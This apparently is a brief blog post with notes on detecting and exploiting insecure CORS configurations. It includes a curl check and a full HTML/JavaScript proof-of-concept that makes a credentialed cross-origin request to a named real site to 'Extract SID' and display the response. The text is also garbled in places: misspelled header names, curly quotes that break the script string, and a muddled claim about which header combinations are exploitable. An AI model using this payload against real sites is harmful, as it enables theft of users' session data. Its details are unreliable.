Insecure CORS
Insecure CORS:
CORS misconfiguration:
Insecure CORS:
url querystring = embed?
way to find insecure cors misconfiguration:
1.origin: www.evil.com in request header ->check if in response header ->it returns all-origin-control:www.evil.com then there is a insecure cors.
2.Curl http://example.com -H"Origin:atacking URL" -I
Exploit:
Access-control-Allow-Origin:null
Access-Control-Allow-Crenditals:true
Poorly impletmented and not expoiltable.
Access-control-Allow-Origin:*
PAYLOAD:
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET",”https://blog.monetha.io/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fblog.monetha.io%2Fhow-am-i-
different-from-tokencard-tenx-monaco%2F”, true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
Comments
Post a Comment